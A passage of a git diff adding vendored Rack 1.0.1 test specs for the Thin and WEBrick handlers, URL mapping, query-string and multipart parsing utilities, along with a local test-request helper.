+    response["REQUEST_METHOD"].should.equal "GET"
+    response["REQUEST_PATH"].should.equal "/"
+    response["PATH_INFO"].should.be.equal "/"
+    response["QUERY_STRING"].should.equal ""
+    response["test.postdata"].should.equal ""
+
+    GET("/test/foo?quux=1")
+    response["REQUEST_METHOD"].should.equal "GET"
+    response["REQUEST_PATH"].should.equal "/test/foo"
+    response["PATH_INFO"].should.equal "/test/foo"
+    response["QUERY_STRING"].should.equal "quux=1"
+  end
+
+  specify "should have CGI headers on POST" do
+    POST("/", {"rack-form-data" => "23"}, {'X-test-header' => '42'})
+    status.should.equal 200
+    response["REQUEST_METHOD"].should.equal "POST"
+    response["REQUEST_PATH"].should.equal "/"
+    response["QUERY_STRING"].should.equal ""
+    response["HTTP_X_TEST_HEADER"].should.equal "42"
+    response["test.postdata"].should.equal "rack-form-data=23"
+  end
+
+  specify "should support HTTP auth" do
+    GET("/test", {:user => "ruth", :passwd => "secret"})
+    response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ="
+  end
+
+  specify "should set status" do
+    GET("/test?secret")
+    status.should.equal 403
+    response["rack.url_scheme"].should.equal "http"
+  end
+
+  teardown do
+    @server.stop!
+    @thread.kill
+  end
+end
+
+rescue LoadError
+  $stderr.puts "Skipping Rack::Handler::Thin tests (Thin is required). `gem install thin` and try again."
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_urlmap.rb b/vendor/gems/rack-1.0.1/test/spec_rack_urlmap.rb
new file mode 100644
index 00000000..6c4d72ac
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_urlmap.rb
@@ -0,0 +1,185 @@
+require 'test/spec'
+
+require 'rack/urlmap'
+require 'rack/mock'
+
+context "Rack::URLMap" do
+  specify "dispatches paths correctly" do
+    app = lambda { |env|
+      [200, {
+        'X-ScriptName' => env['SCRIPT_NAME'],
+        'X-PathInfo' => env['PATH_INFO'],
+        'Content-Type' => 'text/plain'
+      }, [""]]
+    }
+    map = Rack::URLMap.new({
+      'http://foo.org/bar' => app,
+      '/foo' => app,
+      '/foo/bar' => app
+    })
+
+    res = Rack::MockRequest.new(map).get("/")
+    res.should.be.not_found
+
+    res = Rack::MockRequest.new(map).get("/qux")
+    res.should.be.not_found
+
+    res = Rack::MockRequest.new(map).get("/foo")
+    res.should.be.ok
+    res["X-ScriptName"].should.equal "/foo"
+    res["X-PathInfo"].should.equal ""
+
+    res = Rack::MockRequest.new(map).get("/foo/")
+    res.should.be.ok
+    res["X-ScriptName"].should.equal "/foo"
+    res["X-PathInfo"].should.equal "/"
+
+    res = Rack::MockRequest.new(map).get("/foo/bar")
+    res.should.be.ok
+    res["X-ScriptName"].should.equal "/foo/bar"
+    res["X-PathInfo"].should.equal ""
+
+    res = Rack::MockRequest.new(map).get("/foo/bar/")
+    res.should.be.ok
+    res["X-ScriptName"].should.equal "/foo/bar"
+    res["X-PathInfo"].should.equal "/"
+
+    res = Rack::MockRequest.new(map).get("/foo/quux", "SCRIPT_NAME" => "/bleh")
+    res.should.be.ok
+    res["X-ScriptName"].should.equal "/bleh/foo"
+    res["X-PathInfo"].should.equal "/quux"
+
+    res = Rack::MockRequest.new(map).get("/bar", 'HTTP_HOST' => 'foo.org')
+    res.should.be.ok
+    res["X-ScriptName"].should.equal "/bar"
+    res["X-PathInfo"].should.be.empty
+
+    res = Rack::MockRequest.new(map).get("/bar/", 'HTTP_HOST' => 'foo.org')
+    res.should.be.ok
+    res["X-ScriptName"].should.equal "/bar"
+    res["X-PathInfo"].should.equal '/'
+  end
+
+
+  specify "dispatches hosts correctly" do
+    map = Rack::URLMap.new("http://foo.org/" => lambda { |env|
+                             [200,
+                              { "Content-Type" => "text/plain",
+                                "X-Position" => "foo.org",
+                                "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"],
+                              }, [""]]},
+                           "http://subdomain.foo.org/" => lambda { |env|
+                             [200,
+                              { "Content-Type" => "text/plain",
+                                "X-Position" => "subdomain.foo.org",
+                                "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"],
+                              }, [""]]},
+                           "http://bar.org/" => lambda { |env|
+                             [200,
+                              { "Content-Type" => "text/plain",
+                                "X-Position" => "bar.org",
+                                "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"],
+                              }, [""]]},
+                           "/" => lambda { |env|
+                             [200,
+                              { "Content-Type" => "text/plain",
+                                "X-Position" => "default.org",
+                                "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"],
+                              }, [""]]}
+                           )
+
+    res = Rack::MockRequest.new(map).get("/")
+    res.should.be.ok
+    res["X-Position"].should.equal "default.org"
+
+    res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "bar.org")
+    res.should.be.ok
+    res["X-Position"].should.equal "bar.org"
+
+    res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "foo.org")
+    res.should.be.ok
+    res["X-Position"].should.equal "foo.org"
+
+    res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "subdomain.foo.org", "SERVER_NAME" => "foo.org")
+    res.should.be.ok
+    res["X-Position"].should.equal "subdomain.foo.org"
+
+    res = Rack::MockRequest.new(map).get("http://foo.org/")
+    res.should.be.ok
+    res["X-Position"].should.equal "default.org"
+
+    res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "example.org")
+    res.should.be.ok
+    res["X-Position"].should.equal "default.org"
+
+    res = Rack::MockRequest.new(map).get("/",
+                                         "HTTP_HOST" => "example.org:9292",
+                                         "SERVER_PORT" => "9292")
+    res.should.be.ok
+    res["X-Position"].should.equal "default.org"
+  end
+
+  specify "should be nestable" do
+    map = Rack::URLMap.new("/foo" =>
+      Rack::URLMap.new("/bar" =>
+        Rack::URLMap.new("/quux" =>  lambda { |env|
+                           [200,
+                            { "Content-Type" => "text/plain",
+                              "X-Position" => "/foo/bar/quux",
+                              "X-PathInfo" => env["PATH_INFO"],
+                              "X-ScriptName" => env["SCRIPT_NAME"],
+                            }, [""]]}
+                         )))
+
+    res = Rack::MockRequest.new(map).get("/foo/bar")
+    res.should.be.not_found
+
+    res = Rack::MockRequest.new(map).get("/foo/bar/quux")
+    res.should.be.ok
+    res["X-Position"].should.equal "/foo/bar/quux"
+    res["X-PathInfo"].should.equal ""
+    res["X-ScriptName"].should.equal "/foo/bar/quux"
+  end
+
+  specify "should route root apps correctly" do
+    map = Rack::URLMap.new("/" => lambda { |env|
+                             [200,
+                              { "Content-Type" => "text/plain",
+                                "X-Position" => "root",
+                                "X-PathInfo" => env["PATH_INFO"],
+                                "X-ScriptName" => env["SCRIPT_NAME"]
+                              }, [""]]},
+                           "/foo" => lambda { |env|
+                             [200,
+                              { "Content-Type" => "text/plain",
+                                "X-Position" => "foo",
+                                "X-PathInfo" => env["PATH_INFO"],
+                                "X-ScriptName" => env["SCRIPT_NAME"]
+                              }, [""]]}
+                           )
+
+    res = Rack::MockRequest.new(map).get("/foo/bar")
+    res.should.be.ok
+    res["X-Position"].should.equal "foo"
+    res["X-PathInfo"].should.equal "/bar"
+    res["X-ScriptName"].should.equal "/foo"
+
+    res = Rack::MockRequest.new(map).get("/foo")
+    res.should.be.ok
+    res["X-Position"].should.equal "foo"
+    res["X-PathInfo"].should.equal ""
+    res["X-ScriptName"].should.equal "/foo"
+
+    res = Rack::MockRequest.new(map).get("/bar")
+    res.should.be.ok
+    res["X-Position"].should.equal "root"
+    res["X-PathInfo"].should.equal "/bar"
+    res["X-ScriptName"].should.equal ""
+
+    res = Rack::MockRequest.new(map).get("")
+    res.should.be.ok
+    res["X-Position"].should.equal "root"
+    res["X-PathInfo"].should.equal "/"
+    res["X-ScriptName"].should.equal ""
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_utils.rb b/vendor/gems/rack-1.0.1/test/spec_rack_utils.rb
new file mode 100644
index 00000000..f270e87e
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_utils.rb
@@ -0,0 +1,387 @@
+require 'test/spec'
+
+require 'rack/utils'
+require 'rack/lint'
+require 'rack/mock'
+
+context "Rack::Utils" do
+  specify "should escape correctly" do
+    Rack::Utils.escape("fo<o>bar").should.equal "fo%3Co%3Ebar"
+    Rack::Utils.escape("a space").should.equal "a+space"
+    Rack::Utils.escape("q1!2\"'w$5&7/z8)?\\").
+      should.equal "q1%212%22%27w%245%267%2Fz8%29%3F%5C"
+  end
+
+  specify "should escape correctly for multibyte characters" do
+    matz_name = "\xE3\x81\xBE\xE3\x81\xA4\xE3\x82\x82\xE3\x81\xA8".unpack("a*")[0] # Matsumoto
+    matz_name.force_encoding("UTF-8") if matz_name.respond_to? :force_encoding
+    Rack::Utils.escape(matz_name).should.equal '%E3%81%BE%E3%81%A4%E3%82%82%E3%81%A8'
+    matz_name_sep = "\xE3\x81\xBE\xE3\x81\xA4 \xE3\x82\x82\xE3\x81\xA8".unpack("a*")[0] # Matsu moto
+    matz_name_sep.force_encoding("UTF-8") if matz_name_sep.respond_to? :force_encoding
+    Rack::Utils.escape(matz_name_sep).should.equal '%E3%81%BE%E3%81%A4+%E3%82%82%E3%81%A8'
+  end
+
+  specify "should unescape correctly" do
+    Rack::Utils.unescape("fo%3Co%3Ebar").should.equal "fo<o>bar"
+    Rack::Utils.unescape("a+space").should.equal "a space"
+    Rack::Utils.unescape("a%20space").should.equal "a space"
+    Rack::Utils.unescape("q1%212%22%27w%245%267%2Fz8%29%3F%5C").
+      should.equal "q1!2\"'w$5&7/z8)?\\"
+  end
+
+  specify "should parse query strings correctly" do
+    Rack::Utils.parse_query("foo=bar").should.equal "foo" => "bar"
+    Rack::Utils.parse_query("foo=bar&foo=quux").
+      should.equal "foo" => ["bar", "quux"]
+    Rack::Utils.parse_query("foo=1&bar=2").
+      should.equal "foo" => "1", "bar" => "2"
+    Rack::Utils.parse_query("my+weird+field=q1%212%22%27w%245%267%2Fz8%29%3F").
+      should.equal "my weird field" => "q1!2\"'w$5&7/z8)?"
+    Rack::Utils.parse_query("foo%3Dbaz=bar").should.equal "foo=baz" => "bar"
+  end
+
+  specify "should parse nested query strings correctly" do
+    Rack::Utils.parse_nested_query("foo").
+      should.equal "foo" => nil
+    Rack::Utils.parse_nested_query("foo=").
+      should.equal "foo" => ""
+    Rack::Utils.parse_nested_query("foo=bar").
+      should.equal "foo" => "bar"
+
+    Rack::Utils.parse_nested_query("foo=bar&foo=quux").
+      should.equal "foo" => "quux"
+    Rack::Utils.parse_nested_query("foo&foo=").
+      should.equal "foo" => ""
+    Rack::Utils.parse_nested_query("foo=1&bar=2").
+      should.equal "foo" => "1", "bar" => "2"
+    Rack::Utils.parse_nested_query("&foo=1&&bar=2").
+      should.equal "foo" => "1", "bar" => "2"
+    Rack::Utils.parse_nested_query("foo&bar=").
+      should.equal "foo" => nil, "bar" => ""
+    Rack::Utils.parse_nested_query("foo=bar&baz=").
+      should.equal "foo" => "bar", "baz" => ""
+    Rack::Utils.parse_nested_query("my+weird+field=q1%212%22%27w%245%267%2Fz8%29%3F").
+      should.equal "my weird field" => "q1!2\"'w$5&7/z8)?"
+
+    Rack::Utils.parse_nested_query("foo[]").
+      should.equal "foo" => [nil]
+    Rack::Utils.parse_nested_query("foo[]=").
+      should.equal "foo" => [""]
+    Rack::Utils.parse_nested_query("foo[]=bar").
+      should.equal "foo" => ["bar"]
+
+    Rack::Utils.parse_nested_query("foo[]=1&foo[]=2").
+      should.equal "foo" => ["1", "2"]
+    Rack::Utils.parse_nested_query("foo=bar&baz[]=1&baz[]=2&baz[]=3").
+      should.equal "foo" => "bar", "baz" => ["1", "2", "3"]
+    Rack::Utils.parse_nested_query("foo[]=bar&baz[]=1&baz[]=2&baz[]=3").
+      should.equal "foo" => ["bar"], "baz" => ["1", "2", "3"]
+
+    Rack::Utils.parse_nested_query("x[y][z]=1").
+      should.equal "x" => {"y" => {"z" => "1"}}
+    Rack::Utils.parse_nested_query("x[y][z][]=1").
+      should.equal "x" => {"y" => {"z" => ["1"]}}
+    Rack::Utils.parse_nested_query("x[y][z]=1&x[y][z]=2").
+      should.equal "x" => {"y" => {"z" => "2"}}
+    Rack::Utils.parse_nested_query("x[y][z][]=1&x[y][z][]=2").
+      should.equal "x" => {"y" => {"z" => ["1", "2"]}}
+
+    Rack::Utils.parse_nested_query("x[y][][z]=1").
+      should.equal "x" => {"y" => [{"z" => "1"}]}
+    Rack::Utils.parse_nested_query("x[y][][z][]=1").
+      should.equal "x" => {"y" => [{"z" => ["1"]}]}
+    Rack::Utils.parse_nested_query("x[y][][z]=1&x[y][][w]=2").
+      should.equal "x" => {"y" => [{"z" => "1", "w" => "2"}]}
+
+    Rack::Utils.parse_nested_query("x[y][][v][w]=1").
+      should.equal "x" => {"y" => [{"v" => {"w" => "1"}}]}
+    Rack::Utils.parse_nested_query("x[y][][z]=1&x[y][][v][w]=2").
+      should.equal "x" => {"y" => [{"z" => "1", "v" => {"w" => "2"}}]}
+
+    Rack::Utils.parse_nested_query("x[y][][z]=1&x[y][][z]=2").
+      should.equal "x" => {"y" => [{"z" => "1"}, {"z" => "2"}]}
+    Rack::Utils.parse_nested_query("x[y][][z]=1&x[y][][w]=a&x[y][][z]=2&x[y][][w]=3").
+      should.equal "x" => {"y" => [{"z" => "1", "w" => "a"}, {"z" => "2", "w" => "3"}]}
+
+    lambda { Rack::Utils.parse_nested_query("x[y]=1&x[y]z=2") }.
+      should.raise(TypeError).
+      message.should.equal "expected Hash (got String) for param `y'"
+
+    lambda { Rack::Utils.parse_nested_query("x[y]=1&x[]=1") }.
+      should.raise(TypeError).
+      message.should.equal "expected Array (got Hash) for param `x'"
+
+    lambda { Rack::Utils.parse_nested_query("x[y]=1&x[y][][w]=2") }.
+      should.raise(TypeError).
+      message.should.equal "expected Array (got String) for param `y'"
+  end
+
+  specify "should build query strings correctly" do
+    Rack::Utils.build_query("foo" => "bar").should.equal "foo=bar"
+    Rack::Utils.build_query("foo" => ["bar", "quux"]).
+      should.equal "foo=bar&foo=quux"
+    Rack::Utils.build_query("foo" => "1", "bar" => "2").
+      should.equal "foo=1&bar=2"
+    Rack::Utils.build_query("my weird field" => "q1!2\"'w$5&7/z8)?").
+      should.equal "my+weird+field=q1%212%22%27w%245%267%2Fz8%29%3F"
+  end
+
+  specify "should figure out which encodings are acceptable" do
+    helper = lambda do |a, b|
+      request = Rack::Request.new(Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => a))
+      Rack::Utils.select_best_encoding(a, b)
+    end
+
+    helper.call(%w(), [["x", 1]]).should.equal(nil)
+    helper.call(%w(identity), [["identity", 0.0]]).should.equal(nil)
+    helper.call(%w(identity), [["*", 0.0]]).should.equal(nil)
+
+    helper.call(%w(identity), [["compress", 1.0], ["gzip", 1.0]]).should.equal("identity")
+
+    helper.call(%w(compress gzip identity), [["compress", 1.0], ["gzip", 1.0]]).should.equal("compress")
+    helper.call(%w(compress gzip identity), [["compress", 0.5], ["gzip", 1.0]]).should.equal("gzip")
+
+    helper.call(%w(foo bar identity), []).should.equal("identity")
+    helper.call(%w(foo bar identity), [["*", 1.0]]).should.equal("foo")
+    helper.call(%w(foo bar identity), [["*", 1.0], ["foo", 0.9]]).should.equal("bar")
+
+    helper.call(%w(foo bar identity), [["foo", 0], ["bar", 0]]).should.equal("identity")
+    helper.call(%w(foo bar baz identity), [["*", 0], ["identity", 0.1]]).should.equal("identity")
+  end
+
+  specify "should return the bytesize of String" do
+    Rack::Utils.bytesize("FOO\xE2\x82\xAC").should.equal 6
+  end
+end
+
+context "Rack::Utils::HeaderHash" do
+  specify "should retain header case" do
+    h = Rack::Utils::HeaderHash.new("Content-MD5" => "d5ff4e2a0 ...")
+    h['ETag'] = 'Boo!'
+    h.to_hash.should.equal "Content-MD5" => "d5ff4e2a0 ...", "ETag" => 'Boo!'
+  end
+
+  specify "should check existence of keys case insensitively" do
+    h = Rack::Utils::HeaderHash.new("Content-MD5" => "d5ff4e2a0 ...")
+    h.should.include 'content-md5'
+    h.should.not.include 'ETag'
+  end
+
+  specify "should merge case-insensitively" do
+    h = Rack::Utils::HeaderHash.new("ETag" => 'HELLO', "content-length" => '123')
+    merged = h.merge("Etag" => 'WORLD', 'Content-Length' => '321', "Foo" => 'BAR')
+    merged.should.equal "Etag"=>'WORLD', "Content-Length"=>'321', "Foo"=>'BAR'
+  end
+
+  specify "should overwrite case insensitively and assume the new key's case" do
+    h = Rack::Utils::HeaderHash.new("Foo-Bar" => "baz")
+    h["foo-bar"] = "bizzle"
+    h["FOO-BAR"].should.equal "bizzle"
+    h.length.should.equal 1
+    h.to_hash.should.equal "foo-bar" => "bizzle"
+  end
+
+  specify "should be converted to real Hash" do
+    h = Rack::Utils::HeaderHash.new("foo" => "bar")
+    h.to_hash.should.be.instance_of Hash
+  end
+
+  specify "should convert Array values to Strings when converting to Hash" do
+    h = Rack::Utils::HeaderHash.new("foo" => ["bar", "baz"])
+    h.to_hash.should.equal({ "foo" => "bar\nbaz" })
+  end
+  
+  specify "should be able to delete the given key case-sensitively" do
+    h = Rack::Utils::HeaderHash.new("foo" => "bar")
+    h.delete("foo")
+    h["foo"].should.be.nil
+    h["FOO"].should.be.nil
+  end
+  
+  specify "should be able to delete the given key case-insensitively" do
+    h = Rack::Utils::HeaderHash.new("foo" => "bar")
+    h.delete("FOO")
+    h["foo"].should.be.nil
+    h["FOO"].should.be.nil
+  end
+  
+  specify "should return the deleted value when #delete is called on an existing key" do
+    h = Rack::Utils::HeaderHash.new("foo" => "bar")
+    h.delete("Foo").should.equal("bar")
+  end
+  
+  specify "should return nil when #delete is called on a non-existant key" do
+    h = Rack::Utils::HeaderHash.new("foo" => "bar")
+    h.delete("Hello").should.be.nil
+  end
+end
+
+context "Rack::Utils::Context" do
+  class ContextTest
+    attr_reader :app
+    def initialize app; @app=app; end
+    def call env; context env; end
+    def context env, app=@app; app.call(env); end
+  end
+  test_target1 = proc{|e| e.to_s+' world' }
+  test_target2 = proc{|e| e.to_i+2 }
+  test_target3 = proc{|e| nil }
+  test_target4 = proc{|e| [200,{'Content-Type'=>'text/plain', 'Content-Length'=>'0'},['']] }
+  test_app = ContextTest.new test_target4
+
+  specify "should set context correctly" do
+    test_app.app.should.equal test_target4
+    c1 = Rack::Utils::Context.new(test_app, test_target1)
+    c1.for.should.equal test_app
+    c1.app.should.equal test_target1
+    c2 = Rack::Utils::Context.new(test_app, test_target2)
+    c2.for.should.equal test_app
+    c2.app.should.equal test_target2
+  end
+
+  specify "should alter app on recontexting" do
+    c1 = Rack::Utils::Context.new(test_app, test_target1)
+    c2 = c1.recontext(test_target2)
+    c2.for.should.equal test_app
+    c2.app.should.equal test_target2
+    c3 = c2.recontext(test_target3)
+    c3.for.should.equal test_app
+    c3.app.should.equal test_target3
+  end
+
+  specify "should run different apps" do
+    c1 = Rack::Utils::Context.new test_app, test_target1
+    c2 = c1.recontext test_target2
+    c3 = c2.recontext test_target3
+    c4 = c3.recontext test_target4
+    a4 = Rack::Lint.new c4
+    a5 = Rack::Lint.new test_app
+    r1 = c1.call('hello')
+    r1.should.equal 'hello world'
+    r2 = c2.call(2)
+    r2.should.equal 4
+    r3 = c3.call(:misc_symbol)
+    r3.should.be.nil
+    r4 = Rack::MockRequest.new(a4).get('/')
+    r4.status.should.be 200
+    r5 = Rack::MockRequest.new(a5).get('/')
+    r5.status.should.be 200
+    r4.body.should.equal r5.body
+  end
+end
+
+context "Rack::Utils::Multipart" do
+  specify "should return nil if content type is not multipart" do
+    env = Rack::MockRequest.env_for("/",
+            "CONTENT_TYPE" => 'application/x-www-form-urlencoded')
+    Rack::Utils::Multipart.parse_multipart(env).should.equal nil
+  end
+
+  specify "should parse multipart upload with text file" do
+    env = Rack::MockRequest.env_for("/", multipart_fixture(:text))
+    params = Rack::Utils::Multipart.parse_multipart(env)
+    params["submit-name"].should.equal "Larry"
+    params["files"][:type].should.equal "text/plain"
+    params["files"][:filename].should.equal "file1.txt"
+    params["files"][:head].should.equal "Content-Disposition: form-data; " +
+      "name=\"files\"; filename=\"file1.txt\"\r\n" +
+      "Content-Type: text/plain\r\n"
+    params["files"][:name].should.equal "files"
+    params["files"][:tempfile].read.should.equal "contents"
+  end
+
+  specify "should parse multipart upload with nested parameters" do
+    env = Rack::MockRequest.env_for("/", multipart_fixture(:nested))
+    params = Rack::Utils::Multipart.parse_multipart(env)
+    params["foo"]["submit-name"].should.equal "Larry"
+    params["foo"]["files"][:type].should.equal "text/plain"
+    params["foo"]["files"][:filename].should.equal "file1.txt"
+    params["foo"]["files"][:head].should.equal "Content-Disposition: form-data; " +
+      "name=\"foo[files]\"; filename=\"file1.txt\"\r\n" +
+      "Content-Type: text/plain\r\n"
+    params["foo"]["files"][:name].should.equal "foo[files]"
+    params["foo"]["files"][:tempfile].read.should.equal "contents"
+  end
+
+  specify "should parse multipart upload with binary file" do
+    env = Rack::MockRequest.env_for("/", multipart_fixture(:binary))
+    params = Rack::Utils::Multipart.parse_multipart(env)
+    params["submit-name"].should.equal "Larry"
+    params["files"][:type].should.equal "image/png"
+    params["files"][:filename].should.equal "rack-logo.png"
+    params["files"][:head].should.equal "Content-Disposition: form-data; " +
+      "name=\"files\"; filename=\"rack-logo.png\"\r\n" +
+      "Content-Type: image/png\r\n"
+    params["files"][:name].should.equal "files"
+    params["files"][:tempfile].read.length.should.equal 26473
+  end
+
+  specify "should parse multipart upload with empty file" do
+    env = Rack::MockRequest.env_for("/", multipart_fixture(:empty))
+    params = Rack::Utils::Multipart.parse_multipart(env)
+    params["submit-name"].should.equal "Larry"
+    params["files"][:type].should.equal "text/plain"
+    params["files"][:filename].should.equal "file1.txt"
+    params["files"][:head].should.equal "Content-Disposition: form-data; " +
+      "name=\"files\"; filename=\"file1.txt\"\r\n" +
+      "Content-Type: text/plain\r\n"
+    params["files"][:name].should.equal "files"
+    params["files"][:tempfile].read.should.equal ""
+  end
+
+  specify "should parse multipart upload with filename with semicolons" do
+    env = Rack::MockRequest.env_for("/", multipart_fixture(:semicolon))
+    params = Rack::Utils::Multipart.parse_multipart(env)
+    params["files"][:type].should.equal "text/plain"
+    params["files"][:filename].should.equal "fi;le1.txt"
+    params["files"][:head].should.equal "Content-Disposition: form-data; " +
+      "name=\"files\"; filename=\"fi;le1.txt\"\r\n" +
+      "Content-Type: text/plain\r\n"
+    params["files"][:name].should.equal "files"
+    params["files"][:tempfile].read.should.equal "contents"
+  end
+
+  specify "should not include file params if no file was selected" do
+    env = Rack::MockRequest.env_for("/", multipart_fixture(:none))
+    params = Rack::Utils::Multipart.parse_multipart(env)
+    params["submit-name"].should.equal "Larry"
+    params["files"].should.equal nil
+    params.keys.should.not.include "files"
+  end
+
+  specify "should parse IE multipart upload and clean up filename" do
+    env = Rack::MockRequest.env_for("/", multipart_fixture(:ie))
+    params = Rack::Utils::Multipart.parse_multipart(env)
+    params["files"][:type].should.equal "text/plain"
+    params["files"][:filename].should.equal "file1.txt"
+    params["files"][:head].should.equal "Content-Disposition: form-data; " +
+      "name=\"files\"; " +
+      'filename="C:\Documents and Settings\Administrator\Desktop\file1.txt"' +
+      "\r\nContent-Type: text/plain\r\n"
+    params["files"][:name].should.equal "files"
+    params["files"][:tempfile].read.should.equal "contents"
+  end
+
+  specify "rewinds input after parsing upload" do
+    options = multipart_fixture(:text)
+    input = options[:input]
+    env = Rack::MockRequest.env_for("/", options)
+    params = Rack::Utils::Multipart.parse_multipart(env)
+    params["submit-name"].should.equal "Larry"
+    params["files"][:filename].should.equal "file1.txt"
+    input.read.length.should.equal 197
+  end
+
+  private
+    def multipart_fixture(name)
+      file = File.join(File.dirname(__FILE__), "multipart", name.to_s)
+      data = File.open(file, 'rb') { |io| io.read }
+
+      type = "multipart/form-data; boundary=AaB03x"
+      length = data.respond_to?(:bytesize) ? data.bytesize : data.size
+
+      { "CONTENT_TYPE" => type,
+        "CONTENT_LENGTH" => length.to_s,
+        :input => StringIO.new(data) }
+    end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_webrick.rb b/vendor/gems/rack-1.0.1/test/spec_rack_webrick.rb
new file mode 100644
index 00000000..3e63ea63
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_webrick.rb
@@ -0,0 +1,130 @@
+require 'test/spec'
+
+require 'rack/handler/webrick'
+require 'rack/lint'
+require 'rack/response'
+require 'testrequest'
+
+Thread.abort_on_exception = true
+
+context "Rack::Handler::WEBrick" do
+  include TestRequest::Helpers
+  
+  setup do
+    @server = WEBrick::HTTPServer.new(:Host => @host='0.0.0.0',
+                                      :Port => @port=9202,
+                                      :Logger => WEBrick::Log.new(nil, WEBrick::BasicLog::WARN),
+                                      :AccessLog => [])
+    @server.mount "/test", Rack::Handler::WEBrick,
+      Rack::Lint.new(TestRequest.new)
+    Thread.new { @server.start }
+    trap(:INT) { @server.shutdown }
+  end
+
+  specify "should respond" do
+    lambda {
+      GET("/test")
+    }.should.not.raise
+  end
+
+  specify "should be a WEBrick" do
+    GET("/test")
+    status.should.be 200
+    response["SERVER_SOFTWARE"].should =~ /WEBrick/
+    response["HTTP_VERSION"].should.equal "HTTP/1.1"
+    response["SERVER_PROTOCOL"].should.equal "HTTP/1.1"
+    response["SERVER_PORT"].should.equal "9202"
+    response["SERVER_NAME"].should.equal "0.0.0.0"
+  end
+
+  specify "should have rack headers" do
+    GET("/test")
+    response["rack.version"].should.equal [1,0]
+    response["rack.multithread"].should.be true
+    response["rack.multiprocess"].should.be false
+    response["rack.run_once"].should.be false
+  end
+
+  specify "should have CGI headers on GET" do
+    GET("/test")
+    response["REQUEST_METHOD"].should.equal "GET"
+    response["SCRIPT_NAME"].should.equal "/test"
+    response["REQUEST_PATH"].should.equal "/"
+    response["PATH_INFO"].should.be.nil
+    response["QUERY_STRING"].should.equal ""
+    response["test.postdata"].should.equal ""
+
+    GET("/test/foo?quux=1")
+    response["REQUEST_METHOD"].should.equal "GET"
+    response["SCRIPT_NAME"].should.equal "/test"
+    response["REQUEST_PATH"].should.equal "/"
+    response["PATH_INFO"].should.equal "/foo"
+    response["QUERY_STRING"].should.equal "quux=1"
+    
+    GET("/test/foo%25encoding?quux=1")
+    response["REQUEST_METHOD"].should.equal "GET"
+    response["SCRIPT_NAME"].should.equal "/test"
+    response["REQUEST_PATH"].should.equal "/"
+    response["PATH_INFO"].should.equal "/foo%25encoding"
+    response["QUERY_STRING"].should.equal "quux=1"
+  end
+
+  specify "should have CGI headers on POST" do
+    POST("/test", {"rack-form-data" => "23"}, {'X-test-header' => '42'})
+    status.should.equal 200
+    response["REQUEST_METHOD"].should.equal "POST"
+    response["SCRIPT_NAME"].should.equal "/test"
+    response["REQUEST_PATH"].should.equal "/"
+    response["QUERY_STRING"].should.equal ""
+    response["HTTP_X_TEST_HEADER"].should.equal "42"
+    response["test.postdata"].should.equal "rack-form-data=23"
+  end
+
+  specify "should support HTTP auth" do
+    GET("/test", {:user => "ruth", :passwd => "secret"})
+    response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ="
+  end
+
+  specify "should set status" do
+    GET("/test?secret")
+    status.should.equal 403
+    response["rack.url_scheme"].should.equal "http"
+  end
+
+  specify "should correctly set cookies" do
+    @server.mount "/cookie-test", Rack::Handler::WEBrick,
+    Rack::Lint.new(lambda { |req|
+                     res = Rack::Response.new
+                     res.set_cookie "one", "1"
+                     res.set_cookie "two", "2"
+                     res.finish
+                   })
+
+    Net::HTTP.start(@host, @port) { |http|
+      res = http.get("/cookie-test")
+      res.code.to_i.should.equal 200
+      res.get_fields("set-cookie").should.equal ["one=1", "two=2"]
+    }
+  end
+
+  specify "should provide a .run" do
+    block_ran = false
+    catch(:done) {
+      Rack::Handler::WEBrick.run(lambda {},
+                                 {:Port => 9210,
+                                   :Logger => WEBrick::Log.new(nil, WEBrick::BasicLog::WARN),
+                                   :AccessLog => []}) { |server|
+        block_ran = true
+        server.should.be.kind_of WEBrick::HTTPServer
+        @s = server
+        throw :done
+      }
+    }
+    block_ran.should.be true
+    @s.shutdown
+  end
+
+  teardown do
+    @server.shutdown
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/testrequest.rb b/vendor/gems/rack-1.0.1/test/testrequest.rb
new file mode 100644
index 00000000..7b7190cb
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/testrequest.rb
@@ -0,0 +1,57 @@
+require 'yaml'
+require 'net/http'
+
+class TestRequest
+  def call(env)
+    status = env["QUERY_STRING"] =~ /secret/ ? 403 : 200
+    env["test.postdata"] = env["rack.input"].read
+    body = env.to_yaml
+    size = body.respond_to?(:bytesize) ? body.bytesize : body.size
+    [status, {"Content-Type" => "text/yaml", "Content-Length" => size.to_s}, [body]]
+  end
+
+  module Helpers
+    attr_reader :status, :response
+
+    def GET(path, header={})
+      Net::HTTP.start(@host, @port) { |http|
+        user = header.delete(:user)
+        passwd = header.delete(:passwd)
+
+        get = Net::HTTP::Get.new(path, header)
+        get.basic_auth user, passwd  if user && passwd
+        http.request(get) { |response|
+          @status = response.code.to_i
+          @response = YAML.load(response.body)
+        }
+      }
+    end
+
+    def POST(path, formdata={}, header={})
+      Net::HTTP.start(@host, @port) { |http|
+        user = header.delete(:user)
+        passwd = header.delete(:passwd)
+
+        post = Net::HTTP::Post.new(path, header)
+        post.form_data = formdata
+        post.basic_auth user, passwd  if user && passwd
+        http.request(post) { |response|
+          @status = response.code.to_i
+          @response = YAML.load(response.body)
+        }
+      }
+    end
+  end
+end
+
+class StreamingRequest
+  def self.call(env)
+    [200, {"Content-Type" => "text/plain"}, new]
+  end
+
+  def each
+    yield "hello there!\n"
+    sleep 5
+    yield "that is all.\n"
+  end
+end
